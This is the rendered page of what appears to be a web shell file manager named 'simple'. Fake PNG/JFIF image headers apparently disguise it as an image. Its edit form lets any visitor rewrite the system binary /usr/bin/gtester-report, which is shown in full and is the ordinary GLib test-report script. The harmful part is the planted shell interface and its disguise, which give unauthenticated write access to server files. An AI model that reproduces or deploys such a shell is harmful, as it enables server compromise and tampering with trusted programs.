�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fbin%2F'>bin</a>/</p><hr><h3>✏️ Editing: gtester-report</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#! /usr/bin/env python3
# GLib Testing Framework Utility			-*- Mode: python; -*-
# Copyright (C) 2007 Imendio AB
# Authors: Tim Janik
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, see &lt;http://www.gnu.org/licenses/&gt;.

# Deprecated: Since GLib 2.62, gtester and gtester-report have been deprecated
# in favour of TAP.

import datetime
import optparse
import sys, re, xml.dom.minidom

try:
    import subunit
    from subunit import iso8601
    from testtools.content import Content, ContentType
    mime_utf8 = ContentType(&#039;text&#039;, &#039;plain&#039;, {&#039;charset&#039;: &#039;utf8&#039;})
except ImportError:
    subunit = None


# xml utilities
def find_child (node, child_name):
  for child in node.childNodes:
    if child.nodeName == child_name:
      return child
  return None
def list_children (node, child_name):
  rlist = []
  for child in node.childNodes:
    if child.nodeName == child_name:
      rlist += [ child ]
  return rlist
def find_node (node, name = None):
  if not node or node.nodeName == name or not name:
    return node
  for child in node.childNodes:
    c = find_node (child, name)
    if c:
      return c
  return None
def node_as_text (node, name = None):
  if name:
    node = find_node (node, name)
  txt = &#039;&#039;
  if node:
    if node.nodeValue:
      txt += node.nodeValue
    for child in node.childNodes:
      txt += node_as_text (child)
  return txt
def attribute_as_text (node, aname, node_name = None):
  node = find_node (node, node_name)
  if not node:
    return &#039;&#039;
  attr = node.attributes.get (aname, &#039;&#039;)
  if hasattr (attr, &#039;value&#039;):
    return attr.value
  return &#039;&#039;

# HTML utilities
def html_indent_string (n):
  uncollapsible_space = &#039; &amp;nbsp;&#039; # HTML won&#039;t compress alternating sequences of &#039; &#039; and &#039;&amp;nbsp;&#039;
  string = &#039;&#039;
  for i in range (0, int((n + 1) / 2)):
    string += uncollapsible_space
  return string

# TestBinary object, instantiated per test binary in the log file
class TestBinary:
  def __init__ (self, name):
    self.name = name
    self.testcases = []
    self.duration = 0
    self.success_cases = 0
    self.skipped_cases = 0
    self.file = &#039;???&#039;
    self.random_seed = &#039;&#039;

# base class to handle processing/traversion of XML nodes
class TreeProcess:
  def __init__ (self):
    self.nest_level = 0
  def trampoline (self, node):
    name = node.nodeName
    if name == &#039;#text&#039;:
      self.handle_text (node)
    else:
      try:	method = getattr (self, &#039;handle_&#039; + re.sub (&#039;[^a-zA-Z0-9]&#039;, &#039;_&#039;, name))
      except:	method = None
      if method:
        return method (node)
      else:
        return self.process_recursive (name, node)
  def process_recursive (self, node_name, node):
    self.process_children (node)
  def process_children (self, node):
    self.nest_level += 1
    for child in node.childNodes:
      self.trampoline (child)
    self.nest_level += 1

# test report reader, this class collects some statistics and merges duplicate test binary runs
class ReportReader (TreeProcess):
  def __init__ (self):
    TreeProcess.__init__ (self)
    self.binary_names = []
    self.binaries = {}
    self.last_binary = None
    self.info = {}
  def binary_list (self):
    lst = []
    for name in self.binary_names:
      lst += [ self.binaries[name] ]
    return lst
  def get_info (self):
    return self.info
  def handle_info (self, node):
    dn = find_child (node, &#039;package&#039;)
    self.info[&#039;package&#039;] = node_as_text (dn)
    dn = find_child (node, &#039;version&#039;)
    self.info[&#039;version&#039;] = node_as_text (dn)
    dn = find_child (node, &#039;revision&#039;)
    if dn is not None:
        self.info[&#039;revision&#039;] = node_as_text (dn)
  def handle_testcase (self, node):
    self.last_binary.testcases += [ node ]
    result = attribute_as_text (node, &#039;result&#039;, &#039;status&#039;)
    if result == &#039;success&#039;:
      self.last_binary.success_cases += 1
    if bool (int (attribute_as_text (node, &#039;skipped&#039;) + &#039;0&#039;)):
      self.last_binary.skipped_cases += 1
  def handle_text (self, node):
    pass
  def handle_testbinary (self, node):
    path = node.attributes.get (&#039;path&#039;, None).value
    if self.binaries.get (path, -1) == -1:
      self.binaries[path] = TestBinary (path)
      self.binary_names += [ path ]
    self.last_binary = self.binaries[path]
    dn = find_child (node, &#039;duration&#039;)
    dur = node_as_text (dn)
    try:        dur = float (dur)
    except:     dur = 0
    if dur:
      self.last_binary.duration += dur
    bin = find_child (node, &#039;binary&#039;)
    if bin:
      self.last_binary.file = attribute_as_text (bin, &#039;file&#039;)
    rseed = find_child (node, &#039;random-seed&#039;)
    if rseed:
      self.last_binary.random_seed = node_as_text (rseed)
    self.process_children (node)


class ReportWriter(object):
    &quot;&quot;&quot;Base class for reporting.&quot;&quot;&quot;

    def __init__(self, binary_list):
        self.binaries = binary_list

    def _error_text(self, node):
        &quot;&quot;&quot;Get a string representing the error children of node.&quot;&quot;&quot;
        rlist = list_children(node, &#039;error&#039;)
        txt = &#039;&#039;
        for enode in rlist:
            txt += node_as_text (enode)
            if txt and txt[-1] != &#039;\n&#039;:
                txt += &#039;\n&#039;
        return txt


class HTMLReportWriter(ReportWriter):
  # Javascript/CSS snippet to toggle element visibility
  cssjs = r&#039;&#039;&#039;
  &lt;style type=&quot;text/css&quot; media=&quot;screen&quot;&gt;
    .VisibleSection { }
    .HiddenSection  { display: none; }
  &lt;/style&gt;
  &lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;&lt;!--
  function toggle_display (parentid, tagtype, idmatch, keymatch) {
    ptag = document.getElementById (parentid);
    tags = ptag.getElementsByTagName (tagtype);
    for (var i = 0; i &lt; tags.length; i++) {
      tag = tags[i];
      var key = tag.getAttribute (&quot;keywords&quot;);
      if (tag.id.indexOf (idmatch) == 0 &amp;&amp; key &amp;&amp; key.match (keymatch)) {
        if (tag.className.indexOf (&quot;HiddenSection&quot;) &gt;= 0)
          tag.className = &quot;VisibleSection&quot;;
        else
          tag.className = &quot;HiddenSection&quot;;
      }
    }
  }
  message_array = Array();
  function view_testlog (wname, file, random_seed, tcase, msgtitle, msgid) {
      txt = message_array[msgid];
      var w = window.open (&quot;&quot;, // URI
                           wname,
                           &quot;resizable,scrollbars,status,width=790,height=400&quot;);
      var doc = w.document;
      doc.write (&quot;&lt;h2&gt;File: &quot; + file + &quot;&lt;/h2&gt;\n&quot;);
      doc.write (&quot;&lt;h3&gt;Case: &quot; + tcase + &quot;&lt;/h3&gt;\n&quot;);
      doc.write (&quot;&lt;strong&gt;Random Seed:&lt;/strong&gt; &lt;code&gt;&quot; + random_seed + &quot;&lt;/code&gt; &lt;br /&gt;&lt;br /&gt;\n&quot;);
      doc.write (&quot;&lt;strong&gt;&quot; + msgtitle + &quot;&lt;/strong&gt;&lt;br /&gt;\n&quot;);
      doc.write (&quot;&lt;pre&gt;&quot;);
      doc.write (txt);
      doc.write (&quot;&lt;/pre&gt;\n&quot;);
      doc.write (&quot;&lt;a href=\&#039;javascript:window.close()\&#039;&gt;Close Window&lt;/a&gt;\n&quot;);
      doc.close();
  }
  --&gt;&lt;/script&gt;
  &#039;&#039;&#039;
  def __init__ (self, info, binary_list):
    ReportWriter.__init__(self, binary_list)
    self.info = info
    self.bcounter = 0
    self.tcounter = 0
    self.total_tcounter = 0
    self.total_fcounter = 0
    self.total_duration = 0
    self.indent_depth = 0
    self.lastchar = &#039;&#039;
  def oprint (self, message):
    sys.stdout.write (message)
    if message:
      self.lastchar = message[-1]
  def handle_info (self):
    if &#039;package&#039; in self.info and &#039;version&#039; in self.info:
      self.oprint (&#039;&lt;h3&gt;Package: %(package)s, version: %(version)s&lt;/h3&gt;\n&#039; % self.info)
      if &#039;revision&#039; in self.info:
          self.oprint (&#039;&lt;h5&gt;Report generated from: %(revision)s&lt;/h5&gt;\n&#039; % self.info)
  def handle_text (self, node):
    self.oprint (node.nodeValue)
  def handle_testcase (self, node, binary):
    skipped = bool (int (attribute_as_text (node, &#039;skipped&#039;) + &#039;0&#039;))
    if skipped:
      return            # skipped tests are uninteresting for HTML reports
    path = attribute_as_text (node, &#039;path&#039;)
    duration = node_as_text (node, &#039;duration&#039;)
    result = attribute_as_text (node, &#039;result&#039;, &#039;status&#039;)
    rcolor = {
      &#039;success&#039;: &#039;bgcolor=&quot;lightgreen&quot;&#039;,
      &#039;failed&#039;:  &#039;bgcolor=&quot;red&quot;&#039;,
    }.get (result, &#039;&#039;)
    if result != &#039;success&#039;:
      duration = &#039;-&#039;    # ignore bogus durations
    self.oprint (&#039;&lt;tr id=&quot;b%u_t%u_&quot; keywords=&quot;%s all&quot; class=&quot;HiddenSection&quot;&gt;\n&#039; % (self.bcounter, self.tcounter, result))
    self.oprint (&#039;&lt;td&gt;%s %s&lt;/td&gt; &lt;td align=&quot;right&quot;&gt;%s&lt;/td&gt; \n&#039; % (html_indent_string (4), path, duration))
    perflist = list_children (node, &#039;performance&#039;)
    if result != &#039;success&#039;:
      txt = self._error_text(node)
      txt = re.sub (r&#039;&quot;&#039;, r&#039;\\&quot;&#039;, txt)
      txt = re.sub (r&#039;\n&#039;, r&#039;\\n&#039;, txt)
      txt = re.sub (r&#039;&amp;&#039;, r&#039;&amp;amp;&#039;, txt)
      txt = re.sub (r&#039;&lt;&#039;, r&#039;&amp;lt;&#039;, txt)
      self.oprint (&#039;&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;message_array[&quot;b%u_t%u_&quot;] = &quot;%s&quot;;&lt;/script&gt;\n&#039; % (self.bcounter, self.tcounter, txt))
      self.oprint (&#039;&lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;javascript:view_testlog (\&#039;%s\&#039;, \&#039;%s\&#039;, \&#039;%s\&#039;, \&#039;%s\&#039;, \&#039;Output:\&#039;, \&#039;b%u_t%u_\&#039;)&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;\n&#039; %
                   (&#039;TestResultWindow&#039;, binary.file, binary.random_seed, path, self.bcounter, self.tcounter))
    elif perflist:
      presults = []
      for perf in perflist:
        pmin = bool (int (attribute_as_text (perf, &#039;minimize&#039;)))
        pmax = bool (int (attribute_as_text (perf, &#039;maximize&#039;)))
        pval = float (attribute_as_text (perf, &#039;value&#039;))
        txt = node_as_text (perf)
        txt = re.sub (r&#039;&amp;&#039;, r&#039;&amp;amp;&#039;, txt)
        txt = re.sub (r&#039;&lt;&#039;, r&#039;&amp;gt;&#039;, txt)
        txt = &#039;&lt;strong&gt;Performance(&#039; + (pmin and &#039;&lt;em&gt;minimized&lt;/em&gt;&#039; or &#039;&lt;em&gt;maximized&lt;/em&gt;&#039;) + &#039;):&lt;/strong&gt; &#039; + txt.strip() + &#039;&lt;br /&gt;\n&#039;
        txt = re.sub (r&#039;&quot;&#039;, r&#039;\\&quot;&#039;, txt)
        txt = re.sub (r&#039;\n&#039;, r&#039;\\n&#039;, txt)
        presults += [ (pval, txt) ]
      presults.sort()
      ptxt = &#039;&#039;.join ([e[1] for e in presults])
      self.oprint (&#039;&lt;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&gt;message_array[&quot;b%u_t%u_&quot;] = &quot;%s&quot;;&lt;/script&gt;\n&#039; % (self.bcounter, self.tcounter, ptxt))
      self.oprint (&#039;&lt;td align=&quot;center&quot;&gt;&lt;a href=&quot;javascript:view_testlog (\&#039;%s\&#039;, \&#039;%s\&#039;, \&#039;%s\&#039;, \&#039;%s\&#039;, \&#039;Test Results:\&#039;, \&#039;b%u_t%u_\&#039;)&quot;&gt;Details&lt;/a&gt;&lt;/td&gt;\n&#039; %
                   (&#039;TestResultWindow&#039;, binary.file, binary.random_seed, path, self.bcounter, self.tcounter))
    else:
      self.oprint (&#039;&lt;td align=&quot;center&quot;&gt;-&lt;/td&gt;\n&#039;)
    self.oprint (&#039;&lt;td align=&quot;right&quot; %s&gt;%s&lt;/td&gt;\n&#039; % (rcolor, result))
    self.oprint (&#039;&lt;/tr&gt;\n&#039;)
    self.tcounter += 1
    self.total_tcounter += 1
    self.total_fcounter += result != &#039;success&#039;
  def handle_binary (self, binary):
    self.tcounter = 1
    self.bcounter += 1
    self.total_duration += binary.duration
    self.oprint (&#039;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;%s&lt;/strong&gt;&lt;/td&gt;&lt;td align=&quot;right&quot;&gt;%f&lt;/td&gt; &lt;td align=&quot;center&quot;&gt;\n&#039; % (binary.name, binary.duration))
    erlink, oklink = (&#039;&#039;, &#039;&#039;)
    real_cases = len (binary.testcases) - binary.skipped_cases
    if binary.success_cases &lt; real_cases:
      erlink = &#039;href=&quot;javascript:toggle_display (\&#039;ResultTable\&#039;, \&#039;tr\&#039;, \&#039;b%u_\&#039;, \&#039;failed\&#039;)&quot;&#039; % self.bcounter
    if binary.success_cases:
      oklink = &#039;href=&quot;javascript:toggle_display (\&#039;ResultTable\&#039;, \&#039;tr\&#039;, \&#039;b%u_\&#039;, \&#039;success\&#039;)&quot;&#039; % self.bcounter
    if real_cases != 0:
        self.oprint (&#039;&lt;a %s&gt;ER&lt;/a&gt;\n&#039; % erlink)
        self.oprint (&#039;&lt;a %s&gt;OK&lt;/a&gt;\n&#039; % oklink)
        self.oprint (&#039;&lt;/td&gt;\n&#039;)
        perc = binary.success_cases * 100.0 / real_cases
        pcolor = {
          100 : &#039;bgcolor=&quot;lightgreen&quot;&#039;,
          0   : &#039;bgcolor=&quot;red&quot;&#039;,
        }.get (int (perc), &#039;bgcolor=&quot;yellow&quot;&#039;)
        self.oprint (&#039;&lt;td align=&quot;right&quot; %s&gt;%.2f%%&lt;/td&gt;\n&#039; % (pcolor, perc))
        self.oprint (&#039;&lt;/tr&gt;\n&#039;)
    else:
        self.oprint (&#039;Empty\n&#039;)
        self.oprint (&#039;&lt;/td&gt;\n&#039;)
        self.oprint (&#039;&lt;/tr&gt;\n&#039;)
    for tc in binary.testcases:
      self.handle_testcase (tc, binary)
  def handle_totals (self):
    self.oprint (&#039;&lt;tr&gt;&#039;)
    self.oprint (&#039;&lt;td&gt;&lt;strong&gt;Totals:&lt;/strong&gt; %u Binaries, %u Tests, %u Failed, %u Succeeded&lt;/td&gt;&#039; %
                 (self.bcounter, self.total_tcounter, self.total_fcounter, self.total_tcounter - self.total_fcounter))
    self.oprint (&#039;&lt;td align=&quot;right&quot;&gt;%f&lt;/td&gt;\n&#039; % self.total_duration)
    self.oprint (&#039;&lt;td align=&quot;center&quot;&gt;-&lt;/td&gt;\n&#039;)
    if self.total_tcounter != 0:
        perc = (self.total_tcounter - self.total_fcounter) * 100.0 / self.total_tcounter
    else:
        perc = 0.0
    pcolor = {
      100 : &#039;bgcolor=&quot;lightgreen&quot;&#039;,
      0   : &#039;bgcolor=&quot;red&quot;&#039;,
    }.get (int (perc), &#039;bgcolor=&quot;yellow&quot;&#039;)
    self.oprint (&#039;&lt;td align=&quot;right&quot; %s&gt;%.2f%%&lt;/td&gt;\n&#039; % (pcolor, perc))
    self.oprint (&#039;&lt;/tr&gt;\n&#039;)
  def printout (self):
    self.oprint (&#039;&lt;html&gt;&lt;head&gt;\n&#039;)
    self.oprint (&#039;&lt;title&gt;GTester Unit Test Report&lt;/title&gt;\n&#039;)
    self.oprint (self.cssjs)
    self.oprint (&#039;&lt;/head&gt;\n&#039;)
    self.oprint (&#039;&lt;body&gt;\n&#039;)
    self.oprint (&#039;&lt;h2&gt;GTester Unit Test Report&lt;/h2&gt;\n&#039;)
    self.handle_info ()
    self.oprint (&#039;&lt;p style=&quot;color:red;font-weight:bold&quot;&gt;&lt;blink&gt;&#039;
                 &#039;Deprecated: Since GLib 2.62, gtester and gtester-report are &#039;
                 &#039;deprecated. Port to TAP.&lt;/blink&gt;&lt;/p&gt;\n&#039;);
    self.oprint (&#039;&lt;table id=&quot;ResultTable&quot; width=&quot;100%&quot; border=&quot;1&quot;&gt;\n&lt;tr&gt;\n&#039;)
    self.oprint (&#039;&lt;th&gt;Program / Testcase &lt;/th&gt;\n&#039;)
    self.oprint (&#039;&lt;th style=&quot;width:8em&quot;&gt;Duration (sec)&lt;/th&gt;\n&#039;)
    self.oprint (&#039;&lt;th style=&quot;width:5em&quot;&gt;View&lt;/th&gt;\n&#039;)
    self.oprint (&#039;&lt;th style=&quot;width:5em&quot;&gt;Result&lt;/th&gt;\n&#039;)
    self.oprint (&#039;&lt;/tr&gt;\n&#039;)
    for tb in self.binaries:
      self.handle_binary (tb)
    self.handle_totals()
    self.oprint (&#039;&lt;/table&gt;\n&#039;)
    self.oprint (&#039;&lt;/body&gt;\n&#039;)
    self.oprint (&#039;&lt;/html&gt;\n&#039;)


class SubunitWriter(ReportWriter):
    &quot;&quot;&quot;Reporter to output a subunit stream.&quot;&quot;&quot;

    def printout(self):
        reporter = subunit.TestProtocolClient(sys.stdout)
        for binary in self.binaries:
            for tc in binary.testcases:
                test = GTestCase(tc, binary)
                test.run(reporter)


class GTestCase(object):
    &quot;&quot;&quot;A representation of a gtester test result as a pyunit TestCase.&quot;&quot;&quot;

    def __init__(self, case, binary):
        &quot;&quot;&quot;Create a GTestCase for case &#039;case&#039; from binary program &#039;binary&#039;.&quot;&quot;&quot;
        self._case = case
        self._binary = binary
        # the name of the case - e.g. /dbusmenu/glib/objects/menuitem/props_boolstr
        self._path = attribute_as_text(self._case, &#039;path&#039;)

    def id(self):
        &quot;&quot;&quot;What test is this? Returns the gtester path for the testcase.&quot;&quot;&quot;
        return self._path

    def _get_details(self):
        &quot;&quot;&quot;Calculate a details dict for the test - attachments etc.&quot;&quot;&quot;
        details = {}
        result = attribute_as_text(self._case, &#039;result&#039;, &#039;status&#039;)
        details[&#039;filename&#039;] = Content(mime_utf8, lambda:[self._binary.file])
        details[&#039;random_seed&#039;] = Content(mime_utf8,
            lambda:[self._binary.random_seed])
        if self._get_outcome() == &#039;addFailure&#039;:
            # Extract the error details. Skips have no details because its not
            # skip like unittest does, instead the runner just bypasses N test.
            txt = self._error_text(self._case)
            details[&#039;error&#039;] = Content(mime_utf8, lambda:[txt])
        if self._get_outcome() == &#039;addSuccess&#039;:
            # Successful tests may have performance metrics.
            perflist = list_children(self._case, &#039;performance&#039;)
            if perflist:
                presults = []
                for perf in perflist:
                    pmin = bool (int (attribute_as_text (perf, &#039;minimize&#039;)))
                    pmax = bool (int (attribute_as_text (perf, &#039;maximize&#039;)))
                    pval = float (attribute_as_text (perf, &#039;value&#039;))
                    txt = node_as_text (perf)
                    txt = &#039;Performance(&#039; + (pmin and &#039;minimized&#039; or &#039;maximized&#039;
                        ) + &#039;): &#039; + txt.strip() + &#039;\n&#039;
                    presults += [(pval, txt)]
                presults.sort()
                perf_details = [e[1] for e in presults]
                details[&#039;performance&#039;] = Content(mime_utf8, lambda:perf_details)
        return details

    def _get_outcome(self):
        if int(attribute_as_text(self._case, &#039;skipped&#039;) + &#039;0&#039;):
            return &#039;addSkip&#039;
        outcome = attribute_as_text(self._case, &#039;result&#039;, &#039;status&#039;)
        if outcome == &#039;success&#039;:
            return &#039;addSuccess&#039;
        else:
            return &#039;addFailure&#039;

    def run(self, result):
        time = datetime.datetime.utcnow().replace(tzinfo=iso8601.Utc())
        result.time(time)
        result.startTest(self)
        try:
            outcome = self._get_outcome()
            details = self._get_details()
            # Only provide a duration IFF outcome == &#039;addSuccess&#039; - the main
            # parser claims bogus results otherwise: in that case emit time as
            # zero perhaps.
            if outcome == &#039;addSuccess&#039;:
                duration = float(node_as_text(self._case, &#039;duration&#039;))
                duration = duration * 1000000
                timedelta = datetime.timedelta(0, 0, duration)
                time = time + timedelta
                result.time(time)
            getattr(result, outcome)(self, details=details)
        finally:
            result.stopTest(self)



# main program handling
def parse_opts():
    &quot;&quot;&quot;Parse program options.

    :return: An options object and the program arguments.
    &quot;&quot;&quot;
    parser = optparse.OptionParser()
    parser.version = &#039;2.80.4&#039;
    parser.usage = &quot;%prog [OPTIONS] &lt;gtester-log.xml&gt;&quot;
    parser.description = &quot;Generate HTML reports from the XML log files generated by gtester.&quot;
    parser.epilog = &quot;gtester-report (GLib utils) version %s.&quot;% (parser.version,)
    parser.add_option(&quot;-v&quot;, &quot;--version&quot;, action=&quot;store_true&quot;, dest=&quot;version&quot;, default=False,
        help=&quot;Show program version.&quot;)
    parser.add_option(&quot;-s&quot;, &quot;--subunit&quot;, action=&quot;store_true&quot;, dest=&quot;subunit&quot;, default=False,
        help=&quot;Output subunit [See https://launchpad.net/subunit/&quot;
            &quot; Needs python-subunit]&quot;)
    options, files = parser.parse_args()
    if options.version:
        print(parser.epilog)
        return None, None
    if len(files) != 1:
        parser.error(&quot;Must supply a log file to parse.&quot;)
    if options.subunit and subunit is None:
        parser.error(&quot;python-subunit is not installed.&quot;)
    return options, files


def main():
  options, files = parse_opts()
  if options is None:
    return 0

  print(&quot;Deprecated: Since GLib 2.62, gtester and gtester-report are &quot;
        &quot;deprecated. Port to TAP.&quot;, file=sys.stderr)

  xd = xml.dom.minidom.parse (files[0])
  rr = ReportReader()
  rr.trampoline (xd)
  if not options.subunit:
      HTMLReportWriter(rr.get_info(), rr.binary_list()).printout()
  else:
      SubunitWriter(rr.get_info(), rr.binary_list()).printout()


if __name__ == &#039;__main__&#039;:
  main()
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fbin'>🔙 Back</a></p>